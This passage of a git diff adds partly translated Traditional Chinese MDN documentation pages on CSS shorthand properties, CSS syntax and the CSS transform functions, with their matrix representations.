+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;</pre>
+
+<p>可以簡寫為一句宣告：</p>
+
+<pre class="brush:css">background: #000 url(images/bg.gif) no-repeat top right;</pre>
+
+<p>（寫成簡化屬性的效果，完全等同於上方未簡化的屬性，外加 <code>background-attachment: scroll</code> 及其他 CSS3 中額外增加的屬性。)</p>
+
+<h2 id="Font_Properties" name="Font_Properties">字體屬性</h2>
+
+<p>下列的宣告:</p>
+
+<pre class="brush:css">font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;</pre>
+
+<p>可以簡寫成這樣：</p>
+
+<pre class="brush:css">font: italic bold .8em/1.2 Arial, sans-serif;</pre>
+
+<p>簡化定義的效果完全等同於未簡化前的屬性效果，加上 <code>font-variant: normal</code>、<code>font-size-adjust: none</code> (CSS2.0 / CSS3) 及 <code>font-stretch: normal</code> (CSS3) 等屬性。</p>
+
+<h2 id="Border_Properties" name="Border_Properties">邊框屬性</h2>
+
+<p>邊框的寬度、顏色、樣式可以簡寫成一句宣告。舉例來說：</p>
+
+<pre class="brush:css">border-width: 1px;
+border-style: solid;
+border-color: #000;</pre>
+
+<p>可以寫成：</p>
+
+<pre class="brush:css">border: 1px solid #000;</pre>
+
+<h2 id="Margin_and_Padding_Properties" name="Margin_and_Padding_Properties">邊界與內距屬性</h2>
+
+<p>margin 和 padding 的簡化版本大致相同。下列的 CSS 宣告:</p>
+
+<pre class="brush:css">margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;</pre>
+
+<p>等同於下面的宣告（注意值的排序是順時鐘的順序：上，右，下，左 (TRBL，可以「trouble」這個單字的諧音來記憶）</p>
+
+<pre class="brush:css">margin: 10px 5px 10px 5px;</pre>
+
+<h2 id="See_also" name="See_also">相關連結</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li>
+ <li>Shorthand properties: {{cssxref("background")}}, {{cssxref("font")}}, {{cssxref("margin")}}, {{cssxref("border")}}, {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, {{cssxref("border-left")}}, {{cssxref("border-width")}}, {{cssxref("border-color")}}, {{cssxref("border-style")}}, {{cssxref("transition")}}, {{cssxref("transform")}}, {{cssxref("padding")}}, {{cssxref("list-style")}}, {{cssxref("border-radius")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/css/syntax/index.html b/files/zh-tw/web/css/syntax/index.html
new file mode 100644
index 0000000000..c777095cb0
--- /dev/null
+++ b/files/zh-tw/web/css/syntax/index.html
@@ -0,0 +1,74 @@
+---
+title: 語法
+slug: Web/CSS/Syntax
+translation_of: Web/CSS/Syntax
+---
+<div>{{cssref}}</div>
+
+<p>串接式樣式表 (<a href="/en-US/docs/Web/CSS">CSS</a>) 語言的基礎目標是是讓瀏覽器引擎用特定的功能將元素寫在頁面上，像是顏色、位置與裝飾。CSS 語法反映出了目的，而它的基本組成為：</p>
+
+<ul>
+ <li><strong>屬性</strong>為人可閱讀的識別碼，定義使用哪項功能。</li>
+ <li><strong>參數</strong>描述了引擎必須如何處理這項功能。每個屬性都有一套有效的參數，由形式的文法與語意所定義，並由瀏覽器引擎執行。</li>
+</ul>
+
+<h2 id="CSS_宣告">CSS 宣告</h2>
+
+<p>設定特定參數值給 CSS 屬性是 CSS 語言的核心功能。一對屬性與參數叫做<strong>宣告</strong>，而為了適當的排版與套用樣式，任何 CSS 引擎會演算每個頁面上的元素該套用哪個宣告。</p>
+
+<p>在 CSS 中屬性與參數都預設為不區分大小寫。它們由冒號區隔，'<code>:</code>' (<code>U+003A COLON</code>)，而在屬性與參數前、中間與後面並不需要有空白，空白會被忽略。</p>
+
+<p><img alt="css syntax - declaration.png" class="default internal" src="https://mdn.mozillademos.org/files/16566/css_syntax_-_declaration.png" style=""></p>
+
+<p>在 CSS 中有超過<a href="/en-US/docs/Web/CSS/Reference">100種不同的屬性</a>與接近無限個不同的參數。並非所有的屬性與參數組都是被准許的，且每個屬性定義了哪些是有效的參數。當一個參數對屬性無效的時候，宣告會被認為是無效的且會完全被 CSS 引擎忽略。</p>
+
+<h2 id="CSS_宣告區塊">CSS 宣告區塊</h2>
+
+<p>Declarations are grouped in <strong>blocks</strong>, that is in a structure delimited by an opening brace, '<code>{</code>' (<code>U+007B LEFT CURLY BRACKET</code>), and a closing one, '<code>}</code>' (<code>U+007D RIGHT CURLY BRACKET</code>). Blocks sometimes can be nested, so opening and closing braces must be matched.</p>
+
+<p><img alt="css syntax - block.png" class="default internal" src="/@api/deki/files/6165/=css_syntax_-_block.png" style=""></p>
+
+<p>Such blocks are naturally called <strong>declaration blocks</strong> and declarations inside them are separated by a semi-colon, '<code>;</code>' (<code>U+003B SEMICOLON</code>). A declaration block may be empty, that is containing null declaration. White spaces around declarations are ignored. The last declaration of a block doesn't need to be terminated by a semi-colon, though it is often considered <em>good style</em> to do it as it prevents forgetting to add it when extending the block with another declaration.</p>
+
+<p><img alt="css syntax - declarations block.png" class="default internal" src="/@api/deki/files/6166/=css_syntax_-_declarations_block.png" style=""></p>
+
+<div class="note">The content of a CSS declaration block, that is a list of semi-colon-separated declarations, without the initial and closing braces, can be put inside an HTML {{htmlattrxref("style")}} attribute.</div>
+
+<h2 id="CSS_rulesets">CSS rulesets</h2>
+
+<p>If style sheets could only apply a declaration to each element of a Web page, they would be pretty useless. The real goal is to apply different declarations to different parts of the document.</p>
+
+<p>CSS allows this by associating conditions with declarations blocks. Each (valid) declaration block is preceded by one or more comma-separated <strong>selectors</strong> which are conditions selecting some elements of the page. The pair selector group-declarations block is called a <strong>ruleset</strong>, or often simply a <strong>rule</strong>.</p>
+
+<p><img alt="css syntax - ruleset.png" class="default internal" src="/@api/deki/files/6167/=css_syntax_-_ruleset.png" style=""></p>
+
+<p>As an element of the page may be matched by several selectors, and therefore by several rules potentially containing a given property several times, with different values, the CSS standard defines which one has precedence over the other and must be applied: this is called the <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance">cascade</a> algorithm.</p>
+
+<div class="note">It is important to note that even if a ruleset characterized by a group of selectors is a kind of shorthand replacing rulesets with a single selector each, this doesn't apply to the validity of the ruleset itself.<br>
+<br>
+This leads to an important consequence: if one single basic selector is invalid, like when using an unknown pseudo-element or pseudo-class, the whole <em>selector</em> is invalid and therefore the entire rule is ignored (as invalid too).</div>
+
+<h2 id="CSS_statements">CSS statements</h2>
+
+<p>Rulesets are the main building blocks of a style sheet, which often consists of only a big list of them. But there is other information that a Web author wants to convey in the style sheet, like the character set, other external style sheets to import, font face or list counter descriptions and many more. It will use other and specific kinds of statements to do that.</p>
+
+<p>A <strong>statement</strong> is a building block that begins with any non-space characters and ends at the first closing brace or semi-colon (outside a string, non-escaped and not included into another {}, () or [] pair).</p>
+
+<p><img alt="css syntax - statements Venn diag.png" class="default internal" src="/@api/deki/files/6168/=css_syntax_-_statements_Venn_diag.png" style="padding: 1em;"></p>
+
+<p>There are two kinds of statements:</p>
+
+<ul>
+ <li><strong>Rulesets</strong> (or <em>rules</em>) that, as seen, associate a collection of CSS declarations to a condition described by a selector.</li>
+ <li><strong>At-rules</strong> that start with an at sign, '<code>@</code>' (<code>U+0040 COMMERCIAL AT</code>), followed by an identifier and then continuing up the end of the statement, that is up to the next semi-colon (;) outside of a block, or the end of the next block. Each type of <a href="/en-US/docs/Web/CSS/At-rule">at-rules</a>, defined by the identifier, may have its own internal syntax, and semantics of course. They are used to convey meta-data information (like {{ cssxref("@charset") }} or {{ cssxref("@import") }}), conditional information (like {{ cssxref("@media") }} or {{ cssxref("@document") }}), or descriptive information (like {{ cssxref("@font-face") }}).</li>
+</ul>
+
+<p>Any statement which isn't a ruleset or an at-rule is invalid and ignored.</p>
+
+<p id="nested_statements">There is another group of statements – the <strong>nested statements</strong>. These are statements that can be used in a specific subset of at-rules – the <em>conditional group rules</em>. These statements only apply if a specific condition is matched: the <code>@media</code> at-rule content is applied only if the device on which the browser runs matches the expressed condition; the <code>@document</code> at-rule content is applied only if the current page matches some conditions, and so on. In CSS1 and CSS2.1, only <em>rulesets</em> could be used inside conditional group rules. That was very restrictive and this restriction was lifted in <a href="/en-US/docs/Web/CSS/CSS3#Conditionals"><em>CSS Conditionals Level 3</em></a>. Now, though still experimental and not supported by every browser, conditional group rules can contain a wider range of content: rulesets but also some, but not all, at-rules.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/transform-function/index.html b/files/zh-tw/web/css/transform-function/index.html
new file mode 100644
index 0000000000..73b08839ed
--- /dev/null
+++ b/files/zh-tw/web/css/transform-function/index.html
@@ -0,0 +1,894 @@
+---
+title: transform-function
+slug: Web/CSS/transform-function
+translation_of: Web/CSS/transform-function
+---
+<p>{{ CSSRef("CSS Transforms") }}The <code>&lt;transform-function&gt;</code> CSS data type denotes a function applied to an element's representation in order to modify it. Usually such transform may be expressed by matrices and the resulting images can be determined using matrix multiplication on each point.</p>
+
+<h2 id="Coordinates_for_2D_graphics">Coordinates for 2D graphics</h2>
+
+<p>There are several coordinate models used when describing transformation. The most common are the Cartesian coordinate system and homogeneous coordinates.</p>
+
+<h3 id="笛卡兒坐標系"><span class="external">笛卡兒坐標系</span></h3>
+
+<p><a href="/@api/deki/files/5796/=coord_in_R2.png"><img src="/files/3438/coord_in_R2.png" style="float: right; width: 171px;"></a></p>
+
+<p>In <a class="external" href="http://en.wikipedia.org/wiki/Cartesian_coordinate_system">Cartesian coordinates</a> each point of the <a class="external" href="http://en.wikipedia.org/wiki/Euclidean_geometry">Euclidian space</a> is described using two values, the abscissa and the ordinate. The origin, the <code>(0, 0)</code> is the top-left corner of the element. Unlike the usual geometric convention, and like most cases in computer graphics, the y-axis goes to the bottom. Each point is mathematically described using the vector notation <code>(x,y)</code>.</p>
+
+<p>Each linear function is described using a 2x2 matrix like:</p>
+
+<div style="text-align: center;">
+<p><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></p>
+</div>
+
+<p>Applying the transformation consists in doing, for each point, the matrix multiplication between both:</p>
+
+<div style="text-align: center;"><a href="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png"><img src="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png?size=webview" style="height: 32px; width: 189px;"></a>.</div>
+
+<p>It is possible to apply several transformations in a row:</p>
+
+<div style="text-align: center;"><a href="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png"><img src="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png?size=webview" style="height: 32px; width: 313px;"></a>.</div>
+
+<p>With this notation, it is possible to describe, and therefore composite, most usual transformations: rotations, scaling, or skewing. In fact all transformations that are linear functions can be described. One major transformation is not linear and therefore must be special-cased when using this notation: translation. The translation vector (tx, ty) must be expressed separately, as two more parameters.</p>
+
+<p><a class="external" href="http://en.wikipedia.org/wiki/August_Ferdinand_M%C3%B6bius">Möbius</a>' <a class="external" href="http://en.wikipedia.org/wiki/Homogeneous_coordinates">homogeneous coordinates</a> in <a class="external" href="http://en.wikipedia.org/wiki/Projective_geometry">projective geometry</a> leading to 3x3 transformation matrices, though more complex and unusual for non-specialists, doesn't suffer from the translation limitation as these can be expressed as linear functions in this algebra, removing the need for special cases.</p>
+
+<h2 id="Coordinates_for_3D_graphics">Coordinates for 3D graphics</h2>
+
+<h2 id="Functions_defining_transformations">Functions defining transformations</h2>
+
+<h3 id="matrix()"><code>matrix()</code></h3>
+
+<p>The <code>matrix()</code> CSS function specifies a homogeneous 2D transformation matrix comprised of the specified six values. The constant values of such matrices are implied and not passed as parameters; the other parameters are described in the column-major order.</p>
+
+<p><code>matrix(a, b, c, d, tx, ty)</code> is a shorthand for <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</p>
+
+<div class="note"><strong>Note:</strong> Until Firefox 16, Gecko accepted a {{cssxref("&lt;length&gt;")}} value for <strong>tx</strong> and <strong>ty</strong>.</div>
+
+<h4 id="表達式">表達式</h4>
+
+<pre class="syntaxbox">matrix(<em>a</em>, <em>b</em>, <em>c</em>, <em>d</em>, <em>tx</em>, <em>ty</em>)
+</pre>
+
+<h4 id="值">值</h4>
+
+<dl>
+ <dt><em>a</em> <em>b</em> <em>c</em> <em>d</em></dt>
+ <dd>Are {{cssxref("&lt;number&gt;")}} describing the linear transformation.</dd>
+ <dt><em>tx</em> <em>ty</em></dt>
+ <dd>Are {{cssxref("&lt;number&gt;")}} describing the translation to apply.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>ty</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>tx</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>ty</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>tx</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[a b c d tx ty]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="matrix3d()"><code>matrix3d()</code></h3>
+
+<p>The <code>matrix3d()</code> CSS function describes a 3D transform as a 4x4 homogeneous matrix. The 16 parameters are described in the column-major order.</p>
+
+<div class="note"><strong>Note:</strong> Until Firefox 16, Gecko accepted a {{cssxref("&lt;length&gt;")}} value for <strong>a4</strong>, <strong>b4</strong> and <strong>c4</strong>.</div>
+
+<h4 id="表達式_2">表達式</h4>
+
+<pre class="syntaxbox">matrix3d(a1, b1, c1, d1, a2, b2, c2, d2, a3, b3, c3, d3, a4, b4, c4, d4)</pre>
+
+<h4 id="值_2">值</h4>
+
+<dl>
+ <dt><em>a1 b1 c1 d1</em> <em>a2 b2 c2 d2 </em><em>a3 b3 c3 d3</em> <em>d4</em></dt>
+ <dd>Are {{cssxref("&lt;number&gt;")}} describing the linear transformation.</dd>
+ <dt><em>a4</em> <em>b4 c4</em></dt>
+ <dd>Are {{cssxref("&lt;number&gt;")}} describing the translation to apply.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">This transform applies to the 3D space and cannot be represented on the plan.</td>
+   <td colspan="1" rowspan="2">Cartesian-coordinate matrix doesn't allow to represent a generic 3d affine transforms as translations are not linear transforms.</td>
+   <td colspan="1" rowspan="2"><math><mfenced><mtable><mtr><mtd>a1</mtd><mtd>a2</mtd><mtd>a3</mtd><mtd>a4</mtd></mtr><mtr><mtd>b1</mtd><mtd>b2</mtd><mtd>b3</mtd><mtd>b4</mtd></mtr><mtr><mtd>c1</mtd><mtd>c2</mtd><mtd>c3</mtd><mtd>c4</mtd></mtr><mtr><mtd>d1</mtd><mtd>d2</mtd><mtd>d3</mtd><mtd>d4</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="perspective()"><code>perspective()</code></h3>
+
+<p>The <code>perspective()</code> CSS function defines the distance between the z=0 plane and the user in order to give to the 3D-positioned element some perspective. Each 3D element with z&gt;0 becomes larger; each 3D-element with z&lt;0 becomes smaller. The strength of the effect is determined by the value of this property.</p>
+
+<h4 id="表達式_3">表達式</h4>
+
+<pre class="syntaxbox">perspective(l)
+</pre>
+
+<h4 id="值_3">值</h4>
+
+<dl>
+ <dt><em>l</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} giving the distance from the user to the z=0 plane. It is used to apply a perspective transform to the element. If it is 0 or a negative value, no perspective transform is applied.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">
+    <p>This transform applies to the 3D space and cannot be represented on the plan.</p>
+   </td>
+   <td colspan="1" rowspan="2">A perspective is not a linear transform in ℝ<sup>3</sup> and cannot be represented using a matrix in the Cartesian coordinates system.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd><mo>−</mo>1<mo>/</mo>d</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="rotate()"><code>rotate()</code></h3>
+
+<p><img src="/@api/deki/files/5976/=transform-functions-rotate_19.5.png" style="float: left;">The <code>rotate()</code> CSS function defines a transformation that moves the element around a fixed point (as specified by the {{ Cssxref("transform-origin") }} property) without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise. A rotation by 180° is called <em>point reflection</em>.</p>
+
+<h4 id="表達式_4">表達式</h4>
+
+<pre class="syntaxbox">rotate(<em>a</em>)
+</pre>
+
+<h4 id="值_4">值</h4>
+
+<dl>
+ <dt><em>a</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle of the rotation. A positive angle denotes a clockwise rotation, a negative angle a counter-clockwise one.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd></mtr> <mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd></mtr></mtable></mfenced></math></td>
+   <td><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[cos(a) </code><span style="background-color: rgba(212, 221, 228, 0.14902); font-family: consolas,monaco,andale mono,monospace;">sin(</span><em>a</em><span style="background-color: rgba(212, 221, 228, 0.14902); font-family: consolas,monaco,andale mono,monospace;">)</span><code> -sin(a) cos(<em>a</em>) 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="rotate3d()"><code>rotate3d()</code></h3>
+
+<p>The <code>rotate3d()</code>CSS function defines a transformation that moves the element around a fixed axis without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise.</p>
+
+<p>In the 3D space, rotations have three degrees of liberty, describing an axis of rotation. The axis of rotation is defined by an [x, y, z] vector and pass by the origin (as defined by the {{ cssxref("transform-origin") }} CSS property. If the vector is not <em>normalized</em>, that is the sum of the square of its three coordinates is not 1, it will be normalized internally. A non-normalizable vector, like the null vector, [0, 0, 0], will cause the rotation not to be applied, without invaliding the whole CSS property.</p>
+
+<div class="note">In opposition to rotations in the plane, the composition of 3D rotations is usually not commutative; it means that the order in which the rotations are applied is crucial.</div>
+
+<h4 id="表達式_5">表達式</h4>
+
+<pre class="syntaxbox">rotate3d(<em>x</em>, <em>y</em>, <em>z</em>, <em>a</em>)
+</pre>
+
+<h4 id="值_5">值</h4>
+
+<dl>
+ <dt><em>x</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} describing the x-coordinate of the vector denoting the axis of rotation.</dd>
+ <dt><em>y</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} describing the y-coordinate of the vector denoting the axis of rotation.</dd>
+ <dt><em>z</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} describing the z-coordinate of the vector denoting the axis of rotation.</dd>
+ <dt><em>a</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle of the rotation. A positive angle denotes a clockwise rotation, a negative angle a counter-clockwise one.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2">This transform applies to the 3D space and cannot be represented on the plane.</td>
+   <td colspan="1"><a href="/@api/deki/files/5987/=transform-functions-rotate3d_cart.png"><img src="/@api/deki/files/5987/=transform-functions-rotate3d_cart.png?size=webview" style="height: 47px; width: 510px;"></a><math> <mfenced><mtable><mtr><mtd>1<mo>+</mo>(1<mo>-</mo>cos(<mi>a</mi>))(<msup><mi>x</mi><mn>2</mn></msup><mo>-</mo>1)</mtd><mtd><mi>z</mi><mo>·</mo>sin(<mi>a</mi>)+<mi>x</mi><mi>y</mi>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtd><mo>-</mo><mi>y</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>x</mi><mi>z</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd></mtr><mtr><mtd><mo>-</mo><mi>z</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>x</mi><mi>y</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtd>1+(1-cos(a))(y2-1)</mtd><mtd><mi>x</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>y</mi><mi>z</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtr><mtd>ysin(a) + xz(1-cos(a))</mtd><mtd>-xsin(a)+yz(1-cos(a))</mtd><mtd>1+(1-cos(a))(z2-1)</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr> </mtr></mtable></mfenced></math></td>
+   <td colspan="1"><a href="/@api/deki/files/5986/=transform-functions-rotate3d_hom4.png"><img src="/@api/deki/files/5986/=transform-functions-rotate3d_hom4.png?size=webview" style="height: 61px; width: 522px;"></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="rotateX()"><code>rotateX()</code></h3>
+
+<p>The <code>rotateX()</code>CSS function defines a transformation that moves the element around the abscissa without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise.</p>
+
+<p>The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</p>
+
+<p><code>rotateX(a)</code>is a shorthand for <code>rotate3D(1, 0, 0, a)</code>.</p>
+
+<div class="note">In opposition to rotations in the plane, the composition of 3D rotations is usually not commutative; it means that the order in which the rotations are applied is crucial.</div>
+
+<h4 id="表達式_6">表達式</h4>
+
+<pre class="syntaxbox">rotateX(<em>a</em>)
+</pre>
+
+<h4 id="值_6">值</h4>
+
+<dl>
+ <dt><em>a</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle of the rotation. A positive angle denotes a clockwise rotation, a negative angle a counter-clockwise one.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2">This transform applies to the 3D space and cannot be represented on the plane.</td>
+   <td colspan="1"><math> <mfenced><mtable><mtr><mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>cos(a)</mtd><mtd>-sin(a)</mtd></mtr><mtr><mtd>0</mtd><mtd>sin(a)</mtd><mtd>cos(a)</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1"><math><mfenced><mtable><mtr><mtd>1</mtd><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="rotateY()"><code>rotateY()</code></h3>
+
+<p>The <code>rotateY()</code>CSS function defines a transformation that moves the element around the ordinate without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise.</p>
+
+<p>The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</p>
+
+<p><code>rotateY(a)</code>is a shorthand for <code>rotate3D(0, 1, 0, a)</code>.</p>
+
+<div class="note">In opposition to rotations in the plane, the composition of 3D rotations is usually not commutative; it means that the order in which the rotations are applied is crucial.</div>
+
+<h4 id="表達式_7">表達式</h4>
+
+<pre class="syntaxbox">rotateY(<em>a</em>)
+</pre>
+
+<h4 id="值_7">值</h4>
+
+<dl>
+ <dt><em>a</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle of the rotation. A positive angle denotes a clockwise rotation, a negative angle a counter-clockwise one.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2">This transform applies to the 3D space and cannot be represented on the plane.</td>
+   <td colspan="1"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>0</mtd><mtd>sin(a)</mtd></mtr><mtr><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>cos(a)</mtd></mtr></mtable> </mfenced> </math></td>
